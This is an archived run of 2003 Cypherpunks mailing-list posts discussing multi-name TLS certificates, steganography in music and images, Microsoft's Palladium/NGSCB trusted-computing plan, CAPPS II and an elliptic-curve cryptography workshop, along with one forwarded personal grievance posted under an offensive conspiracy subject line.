Message-ID: <001601c33147$9d75adc0$82070b0a@phantomserver.com>

> IE checks the server name against each CN's individually.

I found that by experimentation too. I have VBScript sample on how to generate
such a CSR request for IIS using the CryptoAPI.

Furthermore, IE does not care if the CNs have different domains.

e.g.

/CN=www.domain.com/CN=www.domain.net/CN=www.domain.org

-or even-

/CN=www.domain.com/CN=www.cypherpunks.com/CN=www.microsoft.com

You can self-sign such a cert with OpenSSL just fine. Whether you can get a real
CA to sign such a thing is another matter.

    Adam


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From nunya at spamstopper.com  Thu Jun 12 20:31:47 2003
From: nunya at spamstopper.com (Mark Lybrand)
Date: Fri, 13 Jun 2003 03:31:47 GMT
Subject: Historical Evidence or Possibility of Steganography in Music
Message-ID: <mailman.737.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

I was wondering if anyone here might guide me to any reference material
regarding the possibility or actual occurrence of information having been
steganographically hidden in musical scores.

If this is the wrong NG to post this to, please correct me.

TIA

Mark

------------------------------


From nobody at remailer.privacy.at  Thu Jun 12 18:46:29 2003
From: nobody at remailer.privacy.at (Anonymous)
Date: Fri, 13 Jun 2003 03:46:29 +0200 (CEST)
Subject: SADISTIC WORLD Z.O.G. CONSPIRACY AT WORK IN VARKAUS, FINLAND!!
In-Reply-To: <IMIDKDFPODNEGDAA@whowhere.com>
Message-ID: <a5ae1df8f4ea69208a3226437113c414@remailer.privacy.at>

------------------------------ BEGIN TRANSMISSION ------------------------------


From nobody at dizum.com  Thu Jun 12 19:11:13 2003
From: nobody at dizum.com (Nomen Nescio)
Date: Fri, 13 Jun 2003 04:11:13 +0200 (CEST)
Subject: An attack on paypal --> secure UI for browsers
Message-ID: <06f23f75a0aaa6f5f3a09c2c6917e3c8@dizum.com>

Joe Ashwood writes:
> From: "Anonymous" <nobody_at_cryptofortress.com> 
> > You clearly know virtually nothing about Palladium. 

> I still stand by, "Arbitrarily trusting anyone to write a secure program 
> simply doesn't work" regardless of how many times MS says "trust us" any 
> substantially educated person should as well be prepared to either trust a 
> preponderance of evidence, or perform their own examination, neither of 
> these options is available.

Apparently you neglected to read
http://www.microsoft.com/resources/ngscb/NGSCB_Overview.mspx, where
Microsoft says (as they have repeated many times) "Customers and partners
need reliable ways to ensure the quality of technology that addresses
the critical needs met by NGSCB. That's why Microsoft will make available
for public review the source code of the core piece of enabling software
in NGSCB, called the 'nexus,' so it can be evaluated and validated by
third parties for both security and privacy considerations."

Therefore some educated person (obviously not you, at least not yet)
will in fact be able to perform their own examination of the trusted part
of the OS, since it will have its source code published for exactly this
sort of review.


> The information available does not cover the 
> technical information, in fact their "Technical FAQ" about it actually has 
> the following: 
>
> "Q: Does this technology require an online connection to be used? 
>
> A: No. " 
>
> That is just sooooo enlightening, and is about as far from a useful answer 
> as possible. 

Very few of the Technical FAQ answers are so brief.  In this case, it is
a stupid question and deserves a trivial answer.  The only reason it is
in there is because of the lies spread by Lucky Green and Ross Anderson,
all about how Palladium will connect to a central server and refuse to
let you work with your own documents, or delete files that Microsoft or
the U.S. Government don't like.


> > NCAs do not have 
> > "complete access to private information".  Quite the opposite.  Rather, 
> > NCAs have the power to protect private information such that no other 
> > software on the machine can access it.  They do so by using the Palladium 
> > software and hardware to encrypt the private data.  The encryption is 
> > done in such a way that it is "sealed" to the particular NCA, and no other 
> > software is allowed to use the Palladium crypto hardware to decrypt it. 
>
> This applies only under the condition that the software in Palladium is 
> perfectly secure. Again I point to the issues with ActiveX, where a wide 
> variety of hoels have been found, I point to the newest MS operating system 
> which has it even been out a month yet? and already has a security patch 
> available, in spite of their "secure by default" process. Again I don't 
> believe this is because MS is inherently bad, it is because writing secure 
> programs is extremely difficult, MS just has the most feature bloat so they 
> have the most problems.

Microsoft's legacy software is all extremely complex.  Palladium is
taking a different approach, aiming at simplicity and transparency.
The Nexus, which is the micro-kernel for the trusted components (NCAs),
will be published for review.  Its tasks are relatively few and well
defined, nothing like the massive Windows OS.  That is what Microsoft has
gained by architecting Palladium as they did, with the new "trusted"
CPU mode, which allows side-by-side operating systems to run.  On the
left hand side (LHS) we find the legacy Windows OS and applications.
On the right hand side (RHS) we find the Nexus acting as the OS, and
the NCAs acting as the applications.

The brilliance of Palladium is that the LHS can't touch the RHS,
because of hardware protection.  At one stroke, the new trusted mode is
insulated from bugs in the Windows OS, device drivers and applications.
It in effect allows the designers to start with a clean piece of paper
and produce a simple micro-kernel (the Nexus) whose only job is to
service the NCAs.  This is a manageable task and, in conjunction with
public review, there is good reason to hope and expect that the Nexus
will be secure.  If so then NCAs will indeed run in a mode where they
are protected from other software components (including other NCAs).


> If the Palladium software is actually secure 
> (unlikely), then there is the issue of how the (foolishly trusted) NCAs are 
> determined to be the same, this is an easy problem to solve if no one ever 
> added features, but a hard one to solve where the program evolves, once MS 
> shows the solution for this, I will point to the same information and show 
> you a security hole. 

Read the documents!  Actually you claim you already read them, but
obviously you are lying or you would know that this question has been
answered.  I wrote a long posting about this last month explaining how
it worked.  The mechanism is called a Manifest and is described in section
9 of http://www.microsoft.com/resources/ngscb/documents/ngscb_tcb.doc.
You can either use a hash of the NCA (which would not allow the NCA to be
updated) or you can use a signing key, where NCAs signed by the same key
would effectively share the same identity.  The Manifest can also limit
which other components are used by the NCA.  It's a very flexible system.

As far as the NCAs being "foolishly trusted", all they are trusted to
do is to run without being molested.  That's not exactly giving them the
keys to the kingdom.  And see above for the reasons why it is reasonable
to believe that they can in fact be trusted to run with this degree
of security.


> > In the proposed usage, an NCA associated with an ecommerce site would seal 
> > the data which is used by the user to authenticate to the remote site. 
>
> After running unattended on your computer, a <sarcasm>brilliant</sarcasm> 
> idea, hasn't anyone learned? 
>
> > The authentication data doesn't actually have to be a certificate with 
> > associated key, but that would be one possibility.  Only NCAs signed by 
> > that ecommerce site's key would be able to unseal and access the user's 
> > authentication credentials.  This prevents rogue software from stealing 
> > them and impersonating the user. 
>
> Not in the slightest, a single compromise of a single ecommerce site 
> (remember they're "trusted") will remove all this pretend security. Let's 
> use a particularly popular example on here right now www.e-go1d.com, they 
> could easily apply to be an ecommerce site, they collect money, they offer a 
> service, clearly they are an ecommerce site. Are you really gullible enough 
> to believe that they won't do everything in their power to exploit the data 
> transfer problem above, as well as any other holes in Palladium? I should 
> hope not. 

In my proposal, each ecommerce site would have its own unique NCA with
its own unique identity.  As anyone who has studied NGSCB (except you)
knows, NCAs are protected from each other as well as from the rest of
the system.  Therefore rogue or compromised sites would not be able to
touch the information that was being held for other sites.  e-go1d.com
would not be able to get at the information associated with e-gold.com.
Your proposed attack does not work.


> > Seriously, have you read any 
> > of the documents linked from http://www.microsoft.com/resources/ngscb/? 
>
> Yes I have, in fact at this point I think it is safe to say that you have 
> not, or you didn't understand the implications of the small amount of 
> information it actually contains. 

Your comments above make it clear that you are not at all acquainted
with the material in those documents.  If you're going to pretend to
be a security expert (remember when you advocated ECB mode for the XML
encryption effort?!!), you could do worse than spending a few hours
studying these documents closely.  It's very likely that NGSCB will
be a central technology for security in the next two to ten years or
even longer.  This is undoubtedly an area where security consulting
could be lucrative.  Sadly, even "experts" of your caliber can probably
be very successful in this area.  But you'll have to do your homework.




From eresrch at eskimo.com  Fri Jun 13 06:16:02 2003
From: eresrch at eskimo.com (Mike Rosing)
Date: Fri, 13 Jun 2003 06:16:02 -0700 (PDT)
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <06f23f75a0aaa6f5f3a09c2c6917e3c8@dizum.com>
Message-ID: <Pine.GSU.4.44.0306130602090.25172-100000@eskimo.com>

On Fri, 13 Jun 2003, Nomen Nescio wrote:

> Apparently you neglected to read
> http://www.microsoft.com/resources/ngscb/NGSCB_Overview.mspx, where
> Microsoft says (as they have repeated many times) "Customers and partners
> need reliable ways to ensure the quality of technology that addresses
> the critical needs met by NGSCB. That's why Microsoft will make available
> for public review the source code of the core piece of enabling software
> in NGSCB, called the 'nexus,' so it can be evaluated and validated by
> third parties for both security and privacy considerations."

So why isn't it open for review *before* it's finalized?  Might it
give too many people an idea of what's really wrong with it?

> Therefore some educated person (obviously not you, at least not yet)
> will in fact be able to perform their own examination of the trusted part
> of the OS, since it will have its source code published for exactly this
> sort of review.

Let's see it now.  Not after it's finisihed.

> Microsoft's legacy software is all extremely complex.  Palladium is
> taking a different approach, aiming at simplicity and transparency.

I want the drugs you are on dude.  You have a very rosy picture, and
it seems all your inputs have been hijacked by supreme chemicals!

> The Nexus, which is the micro-kernel for the trusted components (NCAs),
> will be published for review.  Its tasks are relatively few and well
> defined, nothing like the massive Windows OS.  That is what Microsoft has
> gained by architecting Palladium as they did, with the new "trusted"
> CPU mode, which allows side-by-side operating systems to run.  On the
> left hand side (LHS) we find the legacy Windows OS and applications.
> On the right hand side (RHS) we find the Nexus acting as the OS, and
> the NCAs acting as the applications.

And in the mean time the user can't control their own computer.

> The brilliance of Palladium is that the LHS can't touch the RHS,
> because of hardware protection.  At one stroke, the new trusted mode is
> insulated from bugs in the Windows OS, device drivers and applications.
> It in effect allows the designers to start with a clean piece of paper
> and produce a simple micro-kernel (the Nexus) whose only job is to
> service the NCAs.  This is a manageable task and, in conjunction with
> public review, there is good reason to hope and expect that the Nexus
> will be secure.  If so then NCAs will indeed run in a mode where they
> are protected from other software components (including other NCAs).

Very nice drug induced rant.  Too bad reality doesn't work that way.
Who owns the hardware?  The user or the RIAA?  True hardware protection
means the user is protected from Microsoft, not the other way around.

> Your comments above make it clear that you are not at all acquainted
> with the material in those documents.  If you're going to pretend to
> be a security expert (remember when you advocated ECB mode for the XML
> encryption effort?!!), you could do worse than spending a few hours
> studying these documents closely.  It's very likely that NGSCB will
> be a central technology for security in the next two to ten years or
> even longer.  This is undoubtedly an area where security consulting
> could be lucrative.  Sadly, even "experts" of your caliber can probably
> be very successful in this area.  But you'll have to do your homework.

Palladium changed to NGSCB and will morph to something else and something
after that.  It won't ever fly because the user can't control their own
machine.

Trust is a two way street.  Until Microsoft learns to trust their
customers, nobody will trust Microsoft.  What we do in person we can do
on a computer.  We can con each other in person, so we'll be able to con
each other with computers.  That's how reality works, and no hardware
or laws is going to change that.

Instead of trying to wave a magic wand while everyone is on lsd, it'd
be better if Microsoft and the RIAA came out with their own hardware
for the specific purpose of DRM sales.  Everyone would know who owns
the hardware because they'd just rent it instead of buying it.  IBM
is already on the right track for this.  Microsoft has yet to get it.

Patience, persistence, truth,
Dr. mike




From dontmail at address.co.uk.invalid  Thu Jun 12 23:26:02 2003
From: dontmail at address.co.uk.invalid (Richard Heathfield)
Date: Fri, 13 Jun 2003 06:26:02 +0000 (UTC)
Subject: Historical Evidence or Possibility of Steganography in Music
Message-ID: <mailman.738.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

Mark Lybrand wrote:

> I was wondering if anyone here might guide me to any reference material
> regarding the possibility or actual occurrence of information having been
> steganographically hidden in musical scores.

Sorry, I don't have any formal references for you about hiding information
in music. Nevertheless, I know it's happened, because I have done it
myself, in the mid-1980s. Not only that, but it survived a cryptanalytic
attack from somebody who was 99% sure that the music contained a message
but was unable to work out how that message was encoded.

Some time in the 1990s, I read in good old Readers' Digest of a war-time
incident in which musical notation was used for encryption; this nearly got
a man killed when he was asked by the Germans to play the music. He was
able to shrug off the cacophony as "this modern music", and got away with
it. How true this account is, I don't know.

I don't know why they didn't do what I did, which is to insert musical
padding into the score to maintain some semblance of melody.

It's an expensive method of steganography, though, since you really do have
to compose your own tunes. The problem with saving time by using existing
scores is that their composition (if you will forgive the term) is public
knowledge, and so a comparison with the original will reveal the
significant differences. The only way around this is to prevent such a
comparison, and the only certain way to do that is to compose your own
tunes.

You might be able to automate the padding, if your computer is soulful
enough.  :-)

-- 
Richard Heathfield : binary at eton.powernet.co.uk
"Usenet is a strange place." - Dennis M Ritchie, 29 July 1999.
C FAQ: http://www.eskimo.com/~scs/C-faq/top.html
K&R answers, C books, etc: http://users.powernet.co.uk/eton




From shaddack at ns.arachne.cz  Fri Jun 13 00:27:20 2003
From: shaddack at ns.arachne.cz (Thomas Shaddack)
Date: Fri, 13 Jun 2003 09:27:20 +0200 (CEST)
Subject: Steganography and musical scores?
Message-ID: <Pine.LNX.4.33.0306130922130.9504-100000@Zeta>

See also something about computer-generated music:
http://brainop.media.mit.edu/online/net-music/net-instrument/Thesis.html



---------- Forwarded message ----------
Date: Fri, 13 Jun 2003 03:13:00 EDT
Subject: Cryptography-Digest Digest #978
From: Digestifier <Cryptography-Digest-Request at senator-bedfellow.mit.edu>
To: Cryptography-Digest at senator-bedfellow.mit.edu

<irrelevant ones snipped>


From adam.lydick at verizon.net  Fri Jun 13 09:50:13 2003
From: adam.lydick at verizon.net (Adam Lydick)
Date: 13 Jun 2003 09:50:13 -0700
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.GSU.4.44.0306130602090.25172-100000@eskimo.com>
References: <Pine.GSU.4.44.0306130602090.25172-100000@eskimo.com>
Message-ID: <1055523011.16502.29.camel@lorien>

The faq (see attached) claims that "anyone can write a nexus" and that
"users control which nexus(s) run".

I certainly didn't see anything that suggests that anyone can force you
to run arbitrary code, regardless of who has signed it. I also find it
absurd to worry about what code Microsoft is running on your system. If
you are running their operating system, you are already running
arbitrary code from them. If you install a security or functional patch,
you are running arbitrary code from them. How would this be different?

My only real concern is that once this becomes widespread, having the
correct "nexus" + DRM software installed will be the only way to get
play digital media. I have a feeling I won't be playing any of that
content from the MythTv box in my living room...

AdamL

--

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/news/NGSCB.asp

Q: What is the "nexus" component of NGSCB?

A:  The nexus is a new Windows OS component that will be introduced as
part of NGSCB. The nexus, what we used to refer to as a "nub" or
"trusted operating root," is essentially the kernel of an isolated
software stack that runs alongside the existing software stack. The
nexus provides a limited set of APIs and services for applications,
including sealed storage and attestation functions. Think of nexus-aware
applications as residing in the user mode space of the parallel
execution environment and the nexus as residing in the kernel mode
space.

Anyone can write a nexus for use with nexus-aware systems. The user
always has the ultimate authority over what nexuses are allowed to run.
Only one nexus at a time will be able to run on a machine.

Q: What is the privacy model associated with NGSCB?

A: The user is always in control of whether or not nexus-aware
technology is enabled on his or her PC and what nexuses have access to
specific functions. The technology being developed as part of NGSCB
provides a fine-grained access control model that allows users to
specify (by hash) whether an individual nexus has the right to invoke a
specific security operation. In addition, SSC functions that reveal
potentially machine-identifying information, such as the RSA public key,
can only be performed once per SSC reset (and the SSC cannot be reset
from software; you have to power-cycle the PC). 

-- 
Adam Lydick <adam.lydick at verizon.net>




From camera_lumina at hotmail.com  Fri Jun 13 08:00:22 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Fri, 13 Jun 2003 11:00:22 -0400
Subject: SADISTIC WORLD Z.O.G. CONSPIRACY AT WORK IN VARKAUS,
  FINLAND!!
Message-ID: <BAY7-F57cYaigxzpc0M0001dc96@hotmail.com>

"So as the conclusion I was punished by people of Finland after I had told 
them
the truth,which was my job in the first place. I was hired to write my 
thesis on
their business consolidation and I told the truth. As we know now today 
Ahlstrom
Machinery does not exist any longer."

Well, one things for sure. This guy ain't from the US. He actually seems 
suprised that some corporate bigwigs shut him down for putting roadblocks on 
their deal. Next he'll be writing in with the big revelation that, even 
though the company went down the crapper as a result of the deal, the 
deal-makers made out personally like bandits.

Welcome to Capitalism, m'friend.

-TD


>From: Anonymous <nobody at remailer.privacy.at>
>To: mail2news at anon.lcs.mit.edu, mail2news at dizum.com
>CC: cypherpunks at minder.net
>Subject: SADISTIC WORLD Z.O.G. CONSPIRACY AT WORK IN VARKAUS, FINLAND!!
>Date: Fri, 13 Jun 2003 03:46:29 +0200 (CEST)
>
>------------------------------ BEGIN TRANSMISSION 
>------------------------------
>
>From: Mark Saarelainen [cryptomjs at eudoramail.com]
>Date: Thu, 12 Jun 2003 02:37:02 -0700
>To: cypherpunks at einstein.ssz.com
>Subject: Please post this on the USENET : alt.politics.org.ciaforme ....  
>somebody tries t
>
>They stopped my USENET communication after I had told that my thesis on the 
>business consolidation of a foreign corporation in the North America was 
>100 % correct. I had told in 1991 that the consolidation of Ahlstrom 
>Machinery, Inc. (AMI) was a failure and unsuccessful. During the 1990s many 
>Ahsltrom Machinery's businesses were sold and the remaining parts were or 
>are to be sold to Andritz from Graz, Austria in 2003. I had told them the 
>truth in 1991 and I was punished by the executive management of AMI and 
>people spread bad stories about me and my thesis in 1991 although it was 
>graded as very good by one Professor. The Business Development Director of 
>Ahsltrom Machinery, Inc. even forced me to change my thesis tosome extent 
>by threatening to prevent me from graduating as the Masters of Science in 
>Industrial Engineering and Management in April/May, 1991. His name is 
>Markku Perkola. Itwas just my academic work.They had even told to my so 
>called birthmother that my thesis was!
>   no
>t good, although it was graded as very good and as it is now concluded I 
>was 100 % correct and right. So my thesis was right and these people of 
>Ahsltrom Machinery and many people of Varkaus, Finland, just wanted to hurt 
>me and destroyed my careerat my age of 24 (12 years ago), when I had told 
>them the truth about the failing business operations of Ahsltrom Machinery 
>in the North America in 1991.
>
>So as the conclusion I was punished by people of Finland after I had told 
>them the truth,which was my job in the first place. I was hired to write my 
>thesis on their business consolidation and I told the truth. As we know now 
>today Ahlstrom Machinery does not exist any longer.
>
>Markku J. Saarelainen
>Varkaus, Finland
>
>----
>
>5/31/2003
>
>  Andritz acquires 50% of Ahlstrom Machinery Group - extension to
>100% possible
>Increase of sales by 50% to 1,000 million Euros
>
>Graz (Austria) based Andritz AG initially buys 50 per cent of the Finnish
>
>Ahlstrom Machinery Group. The acquisition became effective as of May
>31, 2000, after obtaining the required permissions under anti-trust
>laws. Ahlstrom Machinery Group's future company name will be Andritz-
>Ahlstrom Corporation. Both Andritz and the Seller have options whose
>exercise would make Andritz the sole owner of Ahlstrom Machinery
>Group.
>
>
>
>Need a new email address that people can remember
>Check out the new EudoraMail at
>http://www.eudoramail.com
>
>------------------------------- END TRANSMISSION 
>-------------------------------

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus




From camera_lumina at hotmail.com  Fri Jun 13 08:05:52 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Fri, 13 Jun 2003 11:05:52 -0400
Subject: Steganography and musical scores?
Message-ID: <BAY7-F14lHxERjt5I3h0000a3dd@hotmail.com>

Well, of course there's the famous B-A-C-H that Bach encoded towards the end 
of Art of the Fugue, written right before he died. (H in Germany is the same 
as our B, I think, and B in Germany is our B-flat, but don't quote me, it 
may be the other way around.)
There're tons of others in the history of Western music. I'd bet there's a 
book or two on the subject somewhere.
-TD


>From: Thomas Shaddack <shaddack at ns.arachne.cz>
>To: cypherpunks <cypherpunks at lne.com>
>Subject: Steganography and musical scores?
>Date: Fri, 13 Jun 2003 09:27:20 +0200 (CEST)
>
>See also something about computer-generated music:
>http://brainop.media.mit.edu/online/net-music/net-instrument/Thesis.html
>
>
>
>---------- Forwarded message ----------
>Date: Fri, 13 Jun 2003 03:13:00 EDT
>Subject: Cryptography-Digest Digest #978
>From: Digestifier <Cryptography-Digest-Request at senator-bedfellow.mit.edu>
>To: Cryptography-Digest at senator-bedfellow.mit.edu
>
><irrelevant ones snipped>
>
>Subject: Historical Evidence or Possibility of Steganography in Music
>From: Mark Lybrand <nunya at spamstopper.com>
>Date: Fri, 13 Jun 2003 03:31:47 GMT
>
>I was wondering if anyone here might guide me to any reference material
>regarding the possibility or actual occurrence of information having been
>steganographically hidden in musical scores.
>
>If this is the wrong NG to post this to, please correct me.
>
>TIA
>
>Mark
>
>------------------------------
>
>From: Richard Heathfield <dontmail at address.co.uk.invalid>
>Subject: Re: Historical Evidence or Possibility of Steganography in Music
>Date: Fri, 13 Jun 2003 06:26:02 +0000 (UTC)
>
>Mark Lybrand wrote:
>
> > I was wondering if anyone here might guide me to any reference material
> > regarding the possibility or actual occurrence of information having 
>been
> > steganographically hidden in musical scores.
>
>Sorry, I don't have any formal references for you about hiding information
>in music. Nevertheless, I know it's happened, because I have done it
>myself, in the mid-1980s. Not only that, but it survived a cryptanalytic
>attack from somebody who was 99% sure that the music contained a message
>but was unable to work out how that message was encoded.
>
>Some time in the 1990s, I read in good old Readers' Digest of a war-time
>incident in which musical notation was used for encryption; this nearly got
>a man killed when he was asked by the Germans to play the music. He was
>able to shrug off the cacophony as "this modern music", and got away with
>it. How true this account is, I don't know.
>
>I don't know why they didn't do what I did, which is to insert musical
>padding into the score to maintain some semblance of melody.
>
>It's an expensive method of steganography, though, since you really do have
>to compose your own tunes. The problem with saving time by using existing
>scores is that their composition (if you will forgive the term) is public
>knowledge, and so a comparison with the original will reveal the
>significant differences. The only way around this is to prevent such a
>comparison, and the only certain way to do that is to compose your own
>tunes.
>
>You might be able to automate the padding, if your computer is soulful
>enough.  :-)
>
>--
>Richard Heathfield : binary at eton.powernet.co.uk
>"Usenet is a strange place." - Dennis M Ritchie, 29 July 1999.
>C FAQ: http://www.eskimo.com/~scs/C-faq/top.html
>K&R answers, C books, etc: http://users.powernet.co.uk/eton

_________________________________________________________________
The new MSN 8: advanced junk mail protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail




From eresrch at eskimo.com  Fri Jun 13 11:17:42 2003
From: eresrch at eskimo.com (Mike Rosing)
Date: Fri, 13 Jun 2003 11:17:42 -0700 (PDT)
Subject: Spread Spectrum Image Steganography Patent
In-Reply-To: <E19QrOK-0001LW-00@mclean.mail.mindspring.net>
Message-ID: <Pine.GSU.4.44.0306131112300.10353-100000@eskimo.com>

On Fri, 13 Jun 2003, John Young wrote:

> The US Army today announced the availability of licensing
> of its patent for "Spread Spectrum Image Steganography:"
>
>   http://cryptome.org/usa-patent.htm    (with copy of the patent)

Thanks, interesting.  I think anyone with access to the original
picture would detect something is there, but the nice thing is
that they wouldn't know how to decode the message.  It still depends
on not messing up too many bits, which is similar to "obvious"
methods, but I like the use of erf() to estimate the message.

Patience, persistence, truth,
Dr. mike




From pcw2 at flyzone.com  Fri Jun 13 08:44:00 2003
From: pcw2 at flyzone.com (Peter Wayner)
Date: Fri, 13 Jun 2003 11:44:00 -0400
Subject: Steganography and musical scores?
In-Reply-To: <Pine.LNX.4.33.0306130922130.9504-100000@Zeta>
References: <Pine.LNX.4.33.0306130922130.9504-100000@Zeta>
Message-ID: <a05210608bb0fa15c025d@[10.0.1.3]>

At 9:27 AM +0200 6/13/03, Thomas Shaddack wrote:
>See also something about computer-generated music:
>http://brainop.media.mit.edu/online/net-music/net-instrument/Thesis.html
>


I'm told someone is trying to encode information by ordering the 
musical notes played in a chord with a Midi synthesizer. It's 
possible to hide information in the order of a set using a technique 
like this:

http://www.wayner.org/books/discrypt2/sorted.php

-Peter




From mv at cdc.gov  Fri Jun 13 12:18:55 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Fri, 13 Jun 2003 12:18:55 -0700
Subject: Steganography and musical scores?
Message-ID: <3EEA239F.CD2BABC8@cdc.gov>

(resent) At 11:44 AM 6/13/03 -0400, Peter Wayner wrote:
>At 9:27 AM +0200 6/13/03, Thomas Shaddack wrote:
>>See also something about computer-generated music:
>>http://brainop.media.mit.edu/online/net-music/net-instrument/Thesis.html

>>
>
>
>I'm told someone is trying to encode information by ordering the
>musical notes played in a chord with a Midi synthesizer. It's
>possible to hide information in the order of a set using a technique
>like this:
>
>http://www.wayner.org/books/discrypt2/sorted.php

That's cute --there's no acoustic difference.  There are also
methods which produce nearly imperceptible differences --you
can adjust the millisecond-scale timings, or the dynamics.
Since these will vary with each performer's rendition anyway,
they're fairly stealthy.




From jya at pipeline.com  Fri Jun 13 12:26:44 2003
From: jya at pipeline.com (John Young)
Date: Fri, 13 Jun 2003 12:26:44 -0700
Subject: Spread Spectrum Image Steganography Patent
Message-ID: <E19QrOK-0001LW-00@mclean.mail.mindspring.net>

The US Army today announced the availability of licensing
of its patent for "Spread Spectrum Image Steganography:"

  http://cryptome.org/usa-patent.htm    (with copy of the patent)

Patent Abstract

The Spread Spectrum Image Steganography (SSIS) 
of the present invention is a data hiding/secret communication 
steganographic system which uses digital imagery as a cover 
signal. SSIS provides the ability to hide a significant quantity 
of information bits within digital images while avoiding detection 
by an observer. The message is recovered with low error 
probability due the use of error control coding. SSIS payload 
is, at a minimum, an order of magnitude greater than of 
existing watermarking methods. Furthermore, the original 
image is not needed to extract the hidden information. The 
proposed recipient need only possess a key in order to reveal 
the secret message. The very existence of the hidden 
information is virtually undetectable by human or computer 
analysis. Finally, SSIS provides resiliency to transmission 
noise, like that found in a wireless environment and low levels 
of compression.

Patent No.: 6,557,103

Granted:  April 29, 2003

Inventors:
Boncelet, Jr.; Charles G. (Newark, DE);       
Marvel; Lisa M. (Churchville, MD); 
Retter; Charles T. (Belcamp,  MD)

Assignee:
The United States of America as represented
by the Secretary of the Army (Washington, DC)




From camera_lumina at hotmail.com  Fri Jun 13 11:53:22 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Fri, 13 Jun 2003 14:53:22 -0400
Subject: Israel's WMDs on MSNBC.COM
Message-ID: <BAY7-F42xEGTz3bAPHI00042261@hotmail.com>

Hey...just found out about msnbc.com's hidden page on WMDs, including bio, 
nuke, and chemical.
Any way to push such a thing into a google cache?

http://www.msnbc.com/news/wld/graphics/strategic_israel_dw.htm

-TD

_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail




From bill at scannell.org  Fri Jun 13 13:25:40 2003
From: bill at scannell.org (Bill Scannell)
Date: Fri, 13 Jun 2003 15:25:40 -0500
Subject: Victory.  Homeland Security Pulls the Plug On CAPPS II
Message-ID: <BB0F9D74.11C84%bill@scannell.org>

We Win!

CAPPS II Testing Stops Pending Privacy Analysis

See the victory statement at http://www.boycottdelta.org

All the best,

Bill Scannell
Founder
Boycott Delta




From bob.cat at snet.net  Fri Jun 13 12:35:07 2003
From: bob.cat at snet.net (BobCat)
Date: Fri, 13 Jun 2003 15:35:07 -0400
Subject: Israel's WMDs on MSNBC.COM
References: <BAY7-F42xEGTz3bAPHI00042261@hotmail.com>
Message-ID: <020901c331e2$f5659130$c8eafc40@Leopard>

From: "Tyler Durden" <camera_lumina at hotmail.com>

> Hey...just found out about msnbc.com's hidden page on WMDs, including bio,
> nuke, and chemical.

Not hidden.

http://archive.msnbc.com/modules/Israel_strategic/default.asp


> Any way to push such a thing into a google cache?




From rah at shipwright.com  Fri Jun 13 16:34:41 2003
From: rah at shipwright.com (R. A. Hettinga)
Date: Fri, 13 Jun 2003 16:34:41 -0700
Subject: Fourth Announcement for ECC 2003
Message-ID: <a06001203bb100fef3b25@[209.86.250.112]>


--- begin forwarded text



From adam at homeport.org  Fri Jun 13 14:17:34 2003
From: adam at homeport.org (Adam Shostack)
Date: Fri, 13 Jun 2003 17:17:34 -0400
Subject: An attack on paypal --> secure UI for browsers
In-Reply-To: <Pine.LNX.4.33.0306132253220.9504-100000@Zeta>
References: <557dd8f2519377887312df07a5dd0977@rebleep>
  <Pine.LNX.4.33.0306132253220.9504-100000@Zeta>
Message-ID: <20030613211734.GA77018@lightship.internal.homeport.org>

On Fri, Jun 13, 2003 at 11:04:42PM +0200, Thomas Shaddack wrote:
| > The problem (among others) is that this allows a virus to steal the
| > client cert.  If it is protected by a password, the malware must hang
| > around long enough for the user to unlock the cert (perhaps because the
| > malware sent a spoofed email calling for the user to visit the site,
| > even the real site!).  It can then read the user's keystrokes and acquire
| > the password.  Now it has the cert and password and can impersonate the
| > user at will.
| >
| > The solution to this is Palladium (NGSCB).
| 
| BAH! *shudders*
| 
| All we need for this is an external cryptographic token - a smartcard with
| a keypad, an USB device, a Bluetooth-enabled thingy. You plug it into the
| machine, the server you connect to sends its certificate name and
| challenge to the browser, which passes it unchanged to your token. The
...
| get as low as few dollars, can easily interface with just about any OS
| including PDAs, and doesn't require The Megacorp Whose Name Shouldn't Be
| Spoken to take over your machine.

Actually, most of the features of Nogsuccob are features that I
want, like integrity protected, authenticated boot.  The problem,
bundled with those features, is the ability of the system to attest to
its secure boot.  This can be fixed by not letting the host know if
you've exported its host key or not, which makes it possible to run a
virtualized, trusted copy in your emulation environment.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From eccmaili at math.uwaterloo.ca  Fri Jun 13 15:05:10 2003
From: eccmaili at math.uwaterloo.ca (ECC 2003)
Date: Fri, 13 Jun 2003 18:05:10 -0400 (EDT)
Subject: Fourth Announcement for ECC 2003
Message-ID: <mailman.739.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

---------------------------------------------------------------------
THE 7TH WORKSHOP ON ELLIPTIC CURVE CRYPTOGRAPHY (ECC 2003)

University of Waterloo, Waterloo, Ontario, Canada

August 11, 12 & 13 2003

FOURTH ANNOUNCEMENT		      June 13, 2003

*********************************************************************
*********************************************************************
NOTES:

1) Please make your hotel bookings as soon as possible. The cutoff 
   date for room bookings at the Waterloo Inn is June 29, and the 
   cutoff date for room bookings at the Comfort Inn is July 7. 
   The Waterloo Inn is sold out for the night of August 9.

2) The last lecture at ECC 2003 will end at 3:00 pm on Wednesday
   (Aug 13). This will give participants sufficient time to catch
   flights scheduled to leave Toronto after 7:00 pm. There are hourly
   flights from Toronto to Ottawa for those who wish to attend   
   SAC 2003.

3) If you would like to be removed from this mailing list please
   reply with a brief note. You will promptly be removed from the list.
*********************************************************************
*********************************************************************


ECC 2003 is the seventh in a series of annual workshops dedicated 
to the study of elliptic curve cryptography and related areas. 
The main themes of ECC 2003 will be:
- The discrete logarithm problem.
- Efficient parameter generation and point counting.  
- Provably secure cryptographic protocols. 
- Efficient software and hardware implementation. 
- Side-channel attacks.
- Deployment of elliptic curve cryptography.

It is hoped that the meeting will continue to encourage and 
stimulate further research on the security and implementation 
of elliptic curve cryptosystems and related areas, and encourage 
collaboration between mathematicians, computer scientists and 
engineers in the academic, industry and government sectors.

